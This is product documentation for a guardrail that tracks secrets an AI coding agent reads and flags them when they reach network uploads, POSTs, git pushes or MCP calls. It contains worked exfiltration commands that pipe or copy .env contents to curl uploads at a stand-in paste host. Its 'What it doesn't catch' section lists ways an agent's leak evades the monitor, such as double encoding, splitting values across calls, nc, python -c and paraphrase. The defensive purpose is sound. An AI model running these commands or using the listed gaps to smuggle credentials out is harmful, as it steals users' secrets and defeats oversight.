Secret flow tracking

Labels the secrets an agent reads (.env files, SSH keys, cloud and token files) and raises an alert when a labeled secret reaches an external sink such as a POST body, an upload or a git push. The default profile alerts and never blocks; strict and managed block. It ships in shadow mode.

Secret flow tracking follows the secrets an agent reads through the rest of a session and raises an alert when one of them is about to leave the machine. It is the layer that catches a staged leak: read .env into a file, then upload the file. The single call that reads a credential is already covered by the rules; this catches the case where the read and the send are different calls.

It is on in shadow mode by default, so it records what it would do without changing any decision, until the alert rate on real sessions has been reviewed.

How good it is. No benchmark scores this layer on its own yet. It ships in shadow mode so the alert rate on real sessions can be measured before it changes a decision. Benchmarks lists what is measured.

What it catches

A hit needs two things in the same session: a secret was read, and a labeled secret reached an external sink.

  • Secret reads. By default it labels credentials only: .env files (not .env.example and other templates), SSH private keys, ~/.aws/credentials, ~/.netrc, ~/.npmrc, ~/.docker/config.json, ~/.kube/config, cloud and token files, keychain exports and /proc/*/environ. The set is data-driven — you can add path globs and file-name patterns in config.
  • Labels travel with files. When the session copies, moves, links or writes a labeled file to a new path, the new path is labeled too. A secret written to /tmp/backup carries its label.
  • Secret values. When a connector returns tool output (see connector coverage), the session keeps keyed hashes of the secret-shaped values it saw — and of their base64, hex and URL-encoded forms — so a value that is copied or re-encoded before it is sent is still recognised. The raw value is never stored.
  • Data that travels through a pipe or a substitution. The read behind cat .env | curl -d @- …, behind curl -d "$(cat .env)" …, inside a URL built from $(…), or in a DNS label (nslookup, dig, host) is the data the send carries, so it is a hit with no tool result needed.
  • Secrets written as text. If the value a session saw in a tool result is written as literal text (echo, printf, the Write tool's content, even base64-encoded), the file it lands in is labeled, and a later upload of that file is a hit.
  • Sinks. A sink is a network send: a curl/wget upload or POST body, a git push of a labeled file, a scp/rsync to a remote host, or an MCP tool call. A send to localhost, to your own git remote or to a package registry on the allowlist does not count. Every MCP call is checked for a secret value in its arguments, whatever the tool does, with the server name as the destination: a fetch-style tool is covered like a Slack or GitHub one.

A hit fires when the data sent is a labeled file, or contains a hash-matched secret value (a value the session saw in an earlier tool result — in a POST body, a header, a URL path or query parameter, or an MCP argument). Being in a session that read a secret is not enough on its own in the default profile.

A worked example

# 1. The agent reads the project's .env into a file.
cat .env > /tmp/env_backup.txt

# 2. Later in the same session, it uploads that file.
curl -F file=@/tmp/env_backup.txt https://paste.example.com/upload

Step 1 labels /tmp/env_backup.txt as a secret (it was written from .env). Step 2 is an external upload whose data is that labeled file. Secret flow tracking raises flow.secret_egress:

  • Default pack: a HIGH alert. The upload still runs.
  • Strict pack: the upload is blocked. A managed install follows its pack: managed with the default pack alerts, managed with the strict pack blocks.

The one-line form cat .env > /tmp/x && curl -T /tmp/x https://… is caught the same way, in a single call.

What it doesn't catch

These are known limits. They are documented, not fixed: each one trades a lot of false alerts or cost for a small gain, or needs a design change.

  • A secret the model paraphrases or describes rather than sending verbatim. Only a labeled file or a hash-matched value fires; a rewrite in prose does not.
  • A leak that ends in a local file. Writing a secret to another local file is a label move, not a sink. The secret scanner covers write content.
  • A value the session never saw in a tool result. The value lane matches only values an earlier tool result returned and that the connector sent (see connector coverage), at least 20 characters long. A secret read before DefenseClaw was watching, in a connector that returns no tool output, or shorter than that is matched only if it rides in a labeled file.
  • A value changed before it is sent. Upper or lower case, a reversed value, a value split across two arguments or two calls, a value encoded twice (base64 of base64), with base32, or gzip then base64. One level of base64 (standard, URL, raw, with a trailing newline), hex and URL encoding are matched.
  • Transports the effect model does not treat as a send: DNS and ping label exfiltration (nslookup, dig, host are checked for a secret built by a substitution, not for one typed into the name), nc host port < file, Python requests or urllib code run with python -c, httpie, and a send built by an interpreter from a variable.
  • Writes through programs the effect model does not follow (zip, a symlink, a Python shutil.copy): the file is not labeled, so an upload of it is a session-context hit only.
  • Business-private data. The default labels credentials only. An internal label for data shared within an organisation is reserved for a future release that reads identity-group membership; it is off today.
  • A very large flood of secret-shaped values. A result holding more values than memory.max_value_digests evicts the oldest; explain shows how many digests were dropped.

It does not replace the rules or the effect model — it runs beside them and adds the cross-call secret-to-sink link.

Precision in strict

A session that read a credential is only a weak hint about a later send. In the strict pack the session-context hint (the session is labeled, the call sends something, nothing proves what) blocks, so it is kept for the sends the other lanes cannot see through, and dropped where they can:

  • Fully visible, clean sends are not hits. A literal POST body or a static URL whose every token was compared with the session's indexed secret values, with no secret-shaped blob left unexplained, is cleared. curl -X POST -d '{"q":1}' https://api.example.com after reading .env is ordinary work. This needs the value lane to have something to compare with: a session with no indexed value, or a result that held a secret too short to index, keeps the hint.
  • A bare push of the repository is not a hit unless the session made a labeled artifact (a copy, an archive, a staged git add of a labeled file, a secret written as text). Pushing to your own remote is covered without an allowlist entry; git push https://host/… is judged by the host, so add your Git host to destination_allowlist.
  • Everything else keeps the hint: a file upload, a body from stdin or an expansion the model built, an opaque blob in the body, a remote copy.

Settings

Configure it under guardrail.secret_flow in config.yaml, or with the CLI. Its live/shadow switch is guardrail.cascade.lanes.secret_flow (off or shadow; on is not available in 1.0.10). The lane reads the effect model, so it also needs guardrail.cascade.lanes.effects to be something other than off.

guardrail:
  cascade:
    lanes:
      secret_flow: shadow      # off | shadow (ships shadow; on is not available in 1.0.10)
  secret_flow:
    label_sets:
      credentials: true        # the built-in credential set
      extra_path_globs: []      # extra ~ or absolute path globs to label
      extra_secret_patterns: [] # extra basename globs to label
    sink_action:
      default: alert           # the default pack never blocks; alert only
      strict: block            # alert | block (a managed install follows its pack)
    reencodings: true          # also match base64/hex/URL-encoded secrets
    memory:
      max_labeled_paths: 512   # per-session labeled-path cap (LRU)
      max_value_digests: 256   # per-session secret-value-digest cap
    destination_allowlist: []   # hosts that are not external, e.g. your git remote

The default pack can only alert — sink_action.default: block is refused — so turning the feature on never makes DefenseClaw block ordinary work in the balanced default. On a managed host these settings come from the signed policy bundle and local edits are refused, like every other guardrail.* setting.

CLI

defenseclaw guardrail secret-flow status            # settings, effective mode, tracked sessions
defenseclaw guardrail secret-flow enable            # turn on in shadow mode
defenseclaw guardrail secret-flow disable           # turn off
defenseclaw guardrail secret-flow set mode off      # off | shadow (guardrail.cascade.lanes.secret_flow)
defenseclaw guardrail secret-flow set allowlist github.com,registry.npmjs.org
defenseclaw guardrail secret-flow explain SESSION_ID # why a hit fired, paths redacted

explain reads the running gateway's per-session state: the session label, how many files and secret values it is tracking, and the recent sink hits with their kind, program and destination. Paths and secret values are never shown. The TUI shows the same under Policies → Chains.

Shadow first

The feature ships in shadow mode: it keeps the per-session state and records every hit (and what it would have done), but it never changes a decision. This lets the alert rate on real sessions be measured before it is turned on. on is not available in 1.0.10: the lane ships shadow-only while the review gaps on the effect model stay open. When it ships live, the default pack will still only alert.

The state is bounded and costs O(1) per call: a session label that only ever tightens, a capped set of labeled file paths, and a capped set of keyed value hashes. Nothing grows with session length.

Connector coverage

File labels and sink checks work for every connector, because they come from the tool call itself. Secret-value matching needs the tool's output, which arrives on each connector's own post-tool event, in its own shape. One adapter reads them all: it knows the event, finds the output wherever the connector puts it (a string, an object such as Claude Code's stdout or file.content, a list of content parts, JSON inside a string), and reads the call that produced it with the shell dialect the session ran under, so a PowerShell or cmd read on Windows is labeled like a POSIX one.

ConnectorPost-tool eventValue matching
Claude Code, CoworkPostToolUseyes
CodexPostToolUseyes
CursorpostToolUse, afterShellExecution, afterMCPExecutionyes
Copilot CLIpostToolUseyes
OpenCodetool.execute.afteryes
Amptool.resultyes
Kiro, Devin, AntigravitypostToolUse / PostToolUseyes
Hermespost_tool_callyes
OpenClawafter_tool_call posts the tool name and its output to the gateway (inspect, tool-response), without the call's argumentsfile labels and sink checks only: with no arguments the gateway cannot tell which file a result came from, so the value lane indexes nothing

Where a connector sends no tool output, file labels and sink checks still work; only value matching (the hashed-value lane) is unavailable for that connector.

Credits

Secret flow tracking rebuilds the information-flow idea in OpenAPPA (Archestra Inc., MIT licence) in Go on DefenseClaw's own effect model. We do not embed OpenAPPA. Its model is described in the paper APPA: Recoverable Information-Flow Control for Real-World LLM Agents (arXiv:2607.24625; accepted to the NeurIPS 2026 Workshop on Agents in the Wild), which in turn builds on the information-flow-control tradition — Dorothy Denning's lattice model of secure information flow (1976) and the decentralized label model of Andrew Myers and Barbara Liskov (SOSP 1997).

What we took: a session label that only ever tightens, labels that travel with the files a session writes, and a check at network sinks.

What we changed: the step is O(1) per call — it folds state rather than replaying the whole session, so it fits a hot hook path; it labels credentials only by default; it adds keyed hashes of the secret values seen in tool results (with re-encodings) so a copied or re-encoded secret is still caught; and the default action is a visible alert, never a block.